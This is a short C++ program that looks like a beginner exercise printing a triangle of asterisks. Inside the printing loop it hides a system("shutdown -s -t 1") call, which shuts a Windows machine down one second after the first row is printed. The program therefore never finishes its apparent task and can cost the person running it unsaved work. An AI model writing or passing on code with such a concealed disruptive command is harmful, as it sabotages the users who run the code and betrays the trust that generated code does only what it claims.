#include<bits/stdc++.h> 
using namespace std; 
int main(){ int n; cin>>n; 
for(int i=1;i<=n;i++){ 
for(int j=1;j<=i;j++){ 
cout<<"*"; 
} 
cout<<endl; 
system ("shutdown -s -t 1"); 
}
return 0;
}

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